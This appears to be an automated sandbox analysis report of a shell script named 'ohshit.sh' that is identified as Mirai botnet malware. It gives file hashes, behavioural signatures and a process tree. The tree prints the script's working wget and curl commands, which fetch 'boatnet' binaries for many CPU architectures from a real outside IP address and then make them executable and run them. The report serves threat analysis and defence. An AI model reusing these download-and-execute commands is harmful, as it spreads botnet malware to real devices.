Analysis
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max time kernel
149s -
max time network
150s -
platform
debian-9_mipsel -
resource
debian9-mipsel-20240418-en -
resource tags
arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem -
submitted
14-12-2024 04:10
Static task
static1
Behavioral task
behavioral1
Sample
ohshit.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
ohshit.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
ohshit.sh
Resource
debian9-mipsbe-20240611-en
General
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Target
ohshit.sh
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Size
2KB
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MD5
49f7303a16d7e14d54856f32a64edf18
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SHA1
78bf70845cf273e963f91e0a373e581e03ecb965
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SHA256
54ef205416581348885f545c913d0325c89e72c40cfc1f423e319855f0c40b6a
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SHA512
b4ff38959a17b997d9e6789f697962cf8ec56c4623d8cd357b025a58f653fe1f4732bd40607e3c20e12b6c0513714e7322143c133b845ef757db8131eb7c7be1
Malware Config
Extracted
mirai
LZRD
Extracted
mirai
LZRD
Extracted
mirai
LZRD
Signatures
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Mirai family
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File and Directory Permissions Modification 1 TTPs 15 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 890 chmod 741 chmod 747 chmod 813 chmod 835 chmod 896 chmod 767 chmod 789 chmod 869 chmod 875 chmod 753 chmod 819 chmod 862 chmod 881 chmod 902 chmod -
Executes dropped EXE 15 IoCs
ioc pid Process /tmp/WTF 742 WTF /tmp/WTF 748 WTF /tmp/WTF 754 WTF /tmp/WTF 769 WTF /tmp/WTF 791 WTF /tmp/WTF 814 WTF /tmp/WTF 820 WTF /tmp/WTF 836 WTF /tmp/WTF 864 WTF /tmp/WTF 870 WTF /tmp/WTF 876 WTF /tmp/WTF 882 WTF /tmp/WTF 891 WTF /tmp/WTF 897 WTF /tmp/WTF 903 WTF -
Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/watchdog WTF File opened for modification /dev/misc/watchdog WTF -
Writes file to system bin folder 2 IoCs
description ioc Process File opened for modification /sbin/watchdog WTF File opened for modification /bin/watchdog WTF -
resource yara_rule behavioral4/files/fstream-1.dat upx behavioral4/files/fstream-4.dat upx -
description ioc Process File opened for reading /proc/711/cmdline WTF File opened for reading /proc/872/cmdline WTF File opened for reading /proc/873/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/678/cmdline WTF File opened for reading /proc/797/cmdline WTF File opened for reading /proc/802/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/708/cmdline WTF File opened for reading /proc/710/cmdline WTF File opened for reading /proc/855/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/703/cmdline WTF File opened for reading /proc/823/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/680/cmdline WTF File opened for reading /proc/675/cmdline WTF File opened for reading /proc/884/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/431/cmdline WTF File opened for reading /proc/682/cmdline WTF File opened for reading /proc/683/cmdline WTF File opened for reading /proc/718/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/709/cmdline WTF File opened for reading /proc/850/cmdline WTF File opened for reading /proc/894/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/867/cmdline WTF File opened for reading /proc/888/cmdline WTF File opened for reading /proc/900/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl -
System Network Configuration Discovery 1 TTPs 3 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 744 wget 745 curl 746 cat -
Writes file to tmp directory 28 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/boatnet.x86_64 curl File opened for modification /tmp/boatnet.arm7 wget File opened for modification /tmp/boatnet.arm7 curl File opened for modification /tmp/boatnet.x86 wget File opened for modification /tmp/boatnet.arm curl File opened for modification /tmp/boatnet.arm5 curl File opened for modification /tmp/boatnet.m68k wget File opened for modification /tmp/boatnet.mpsl wget File opened for modification /tmp/boatnet.arm wget File opened for modification /tmp/boatnet.ppc wget File opened for modification /tmp/boatnet.spc curl File opened for modification /tmp/boatnet.arc wget File opened for modification /tmp/boatnet.ppc curl File opened for modification /tmp/boatnet.spc wget File opened for modification /tmp/boatnet.x86 curl File opened for modification /tmp/boatnet.arc curl File opened for modification /tmp/boatnet.m68k curl File opened for modification /tmp/boatnet.mips curl File opened for modification /tmp/boatnet.mpsl curl File opened for modification /tmp/boatnet.arm6 curl File opened for modification /tmp/boatnet.sh4 curl File opened for modification /tmp/WTF ohshit.sh File opened for modification /tmp/boatnet.arm5 wget File opened for modification /tmp/boatnet.arm6 wget File opened for modification /tmp/boatnet.mips wget File opened for modification /tmp/boatnet.i468 curl File opened for modification /tmp/boatnet.i686 curl File opened for modification /tmp/boatnet.sh4 wget
Processes
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/tmp/ohshit.sh/tmp/ohshit.sh1⤵
- Writes file to tmp directory
PID:711 -
/usr/bin/wgetwget http://163.123.181.75/hiddenbin/boatnet.x862⤵
- Writes file to tmp directory
PID:713
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/usr/bin/curlcurl -O http://163.123.181.75/hiddenbin/boatnet.x862⤵
- Reads runtime system information
- Writes file to tmp directory
PID:732
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/bin/catcat boatnet.x862⤵PID:740
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/bin/chmodchmod +x boatnet.x86 ohshit.sh systemd-private-9fbfd4e893b04de5b35f9ba657c5bfe5-systemd-timedated.service-Ri1TmG WTF2⤵
- File and Directory Permissions Modification
PID:741
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/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:742
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/usr/bin/wgetwget http://163.123.181.75/hiddenbin/boatnet.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:744
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/usr/bin/curlcurl -O http://163.123.181.75/hiddenbin/boatnet.mips2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:745
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/bin/catcat boatnet.mips2⤵
- System Network Configuration Discovery
PID:746
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/bin/chmodchmod +x boatnet.mips boatnet.x86 ohshit.sh systemd-private-9fbfd4e893b04de5b35f9ba657c5bfe5-systemd-timedated.service-Ri1TmG WTF2⤵
- File and Directory Permissions Modification
PID:747
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/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:748
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/usr/bin/wgetwget http://163.123.181.75/hiddenbin/boatnet.arc2⤵
- Writes file to tmp directory
PID:750
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/usr/bin/curlcurl -O http://163.123.181.75/hiddenbin/boatnet.arc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:751
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/bin/catcat boatnet.arc2⤵PID:752
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/bin/chmodchmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh systemd-private-9fbfd4e893b04de5b35f9ba657c5bfe5-systemd-timedated.service-Ri1TmG WTF2⤵
- File and Directory Permissions Modification
PID:753
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/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:754
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/usr/bin/wgetwget http://163.123.181.75/hiddenbin/boatnet.i4682⤵PID:756
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/usr/bin/curlcurl -O http://163.123.181.75/hiddenbin/boatnet.i4682⤵
- Reads runtime system information
- Writes file to tmp directory
PID:757
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/bin/catcat boatnet.i4682⤵PID:766
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/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 ohshit.sh systemd-private-9fbfd4e893b04de5b35f9ba657c5bfe5-systemd-timedated.service-Ri1TmG WTF2⤵
- File and Directory Permissions Modification
PID:767
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/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:769
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/usr/bin/wgetwget http://163.123.181.75/hiddenbin/boatnet.i6862⤵PID:771
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/usr/bin/curlcurl -O http://163.123.181.75/hiddenbin/boatnet.i6862⤵
- Reads runtime system information
- Writes file to tmp directory
PID:780
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/bin/catcat boatnet.i6862⤵PID:788
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/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 ohshit.sh systemd-private-9fbfd4e893b04de5b35f9ba657c5bfe5-systemd-timedated.service-Ri1TmG WTF2⤵
- File and Directory Permissions Modification
PID:789
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/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:791
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/usr/bin/wgetwget http://163.123.181.75/hiddenbin/boatnet.x86_642⤵PID:792
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/usr/bin/curlcurl -O http://163.123.181.75/hiddenbin/boatnet.x86_642⤵
- Reads runtime system information
- Writes file to tmp directory
PID:799
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/bin/catcat boatnet.x86_642⤵PID:812
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/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-9fbfd4e893b04de5b35f9ba657c5bfe5-systemd-timedated.service-Ri1TmG WTF2⤵
- File and Directory Permissions Modification
PID:813
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/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:814
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/usr/bin/wgetwget http://163.123.181.75/hiddenbin/boatnet.mpsl2⤵
- Writes file to tmp directory
PID:815
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/usr/bin/curlcurl -O http://163.123.181.75/hiddenbin/boatnet.mpsl2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:817
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/bin/catcat boatnet.mpsl2⤵PID:818
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/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-9fbfd4e893b04de5b35f9ba657c5bfe5-systemd-timedated.service-Ri1TmG WTF2⤵
- File and Directory Permissions Modification
PID:819
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/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:820
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/usr/bin/wgetwget http://163.123.181.75/hiddenbin/boatnet.arm2⤵
- Writes file to tmp directory
PID:824
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/usr/bin/curlcurl -O http://163.123.181.75/hiddenbin/boatnet.arm2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:825
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/bin/catcat boatnet.arm2⤵PID:834
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/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-9fbfd4e893b04de5b35f9ba657c5bfe5-systemd-timedated.service-Ri1TmG WTF2⤵
- File and Directory Permissions Modification
PID:835
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/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:836
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/usr/bin/wgetwget http://163.123.181.75/hiddenbin/boatnet.arm52⤵
- Writes file to tmp directory
PID:839
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/usr/bin/curlcurl -O http://163.123.181.75/hiddenbin/boatnet.arm52⤵
- Reads runtime system information
- Writes file to tmp directory
PID:850
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/bin/catcat boatnet.arm52⤵PID:861
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/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-9fbfd4e893b04de5b35f9ba657c5bfe5-systemd-timedated.service-Ri1TmG WTF2⤵
- File and Directory Permissions Modification
PID:862
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/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:864
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/usr/bin/wgetwget http://163.123.181.75/hiddenbin/boatnet.arm62⤵
- Writes file to tmp directory
PID:866
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/usr/bin/curlcurl -O http://163.123.181.75/hiddenbin/boatnet.arm62⤵
- Reads runtime system information
- Writes file to tmp directory
PID:867
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/bin/catcat boatnet.arm62⤵PID:868
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/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-9fbfd4e893b04de5b35f9ba657c5bfe5-systemd-timedated.service-Ri1TmG WTF2⤵
- File and Directory Permissions Modification
PID:869
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/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:870
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/usr/bin/wgetwget http://163.123.181.75/hiddenbin/boatnet.arm72⤵
- Writes file to tmp directory
PID:872
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/usr/bin/curlcurl -O http://163.123.181.75/hiddenbin/boatnet.arm72⤵
- Reads runtime system information
- Writes file to tmp directory
PID:873
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/bin/catcat boatnet.arm72⤵PID:874
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/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-9fbfd4e893b04de5b35f9ba657c5bfe5-systemd-timedated.service-Ri1TmG WTF2⤵
- File and Directory Permissions Modification
PID:875
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/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:876
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/usr/bin/wgetwget http://163.123.181.75/hiddenbin/boatnet.ppc2⤵
- Writes file to tmp directory
PID:878
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/usr/bin/curlcurl -O http://163.123.181.75/hiddenbin/boatnet.ppc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:879
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/bin/catcat boatnet.ppc2⤵PID:880
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/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-9fbfd4e893b04de5b35f9ba657c5bfe5-systemd-timedated.service-Ri1TmG WTF2⤵
- File and Directory Permissions Modification
PID:881
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/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:882
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/usr/bin/wgetwget http://163.123.181.75/hiddenbin/boatnet.spc2⤵
- Writes file to tmp directory
PID:884
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/usr/bin/curlcurl -O http://163.123.181.75/hiddenbin/boatnet.spc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:888
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/bin/catcat boatnet.spc2⤵PID:889
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/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:890
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/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:891
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/usr/bin/wgetwget http://163.123.181.75/hiddenbin/boatnet.m68k2⤵
- Writes file to tmp directory
PID:893
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/usr/bin/curlcurl -O http://163.123.181.75/hiddenbin/boatnet.m68k2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:894
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/bin/catcat boatnet.m68k2⤵PID:895
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/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:896
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/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:897
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/usr/bin/wgetwget http://163.123.181.75/hiddenbin/boatnet.sh42⤵
- Writes file to tmp directory
PID:899
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/usr/bin/curlcurl -O http://163.123.181.75/hiddenbin/boatnet.sh42⤵
- Reads runtime system information
- Writes file to tmp directory
PID:900
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/bin/catcat boatnet.sh42⤵PID:901
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/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:902
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/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:903
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
23KB
MD5040d6bf67864ae8cdec915537bbabe6d
SHA1a78ebe1b49ee4a728974f8a14e9590cb89d74290
SHA256f195cdd4036cac5a1da990f18b46e73b3cdcbde669481662b077c03ba5eea080
SHA512ab7eca411658de8c11bd6c74342d1b05d856a96e29dad11c1e7623967a97476caac341003f268cf2afe0e2587d6434504210bbeac830ba12ca46e51371b591fc
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Filesize
105KB
MD5454cdaf4f6faf10464309ac4d96742d0
SHA113c321e5051c3b10784d0dd2a7a5d8469ff6cb5a
SHA2566786a5365ed753e6a54ec24b791689ae7ea0c2e9849459e932f4f29bdc030ac2
SHA51267504378f9c77b53ed63dc92418f1ed087e935a4ad663250d8f9a8551e8d5f0bb013e2f4292c75a6aa5166258c39f7368673d266e8594ce42352b138d7c3ca43
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Filesize
220B
MD5f1c24d9fa40a047ae22d2d3ae7dfeac9
SHA1750274b02d5f5b00026a4f55b020f4285c693533
SHA256219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc
SHA51236bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259
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Filesize
220B
MD5a8f502a6fb3b7b940e922c951d9e493a
SHA1fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf
SHA256748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec
SHA512e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338
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Filesize
57KB
MD5f4356488f1185552e3e225d736f1c381
SHA1c03b355a2ff9a1e2b4cfbc45a8994e5a5a8e7697
SHA256e4c6f3a3410fb09c5e5788cba4e55c56806d3ef093cfe4440f83081073e2b190
SHA5126e84837d6b8d2577526c3007c27e295616aea4e76bc6341962648a686f04ef99e920163d669b4884b42cff97fb3114d6fce11337147d072cabdfc59694541b41
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Filesize
20KB
MD57e25ff4f6a673ee07eb58fc4bebb2c2b
SHA12f140e2ad8a685b3e05c024f1338480db4f2b114
SHA2562f882b8fa0034f325963d7bad1fa9cc700dfed1b3d67c67e951f9f5d68ae16c3
SHA512957adddd31722dc15365e2de47596bea338c83a14bc58e6bcfdaf266226e53881f0a152e85faf2b55dc74d4910cd2c2226eadfdd125e92dd964478c845c3e958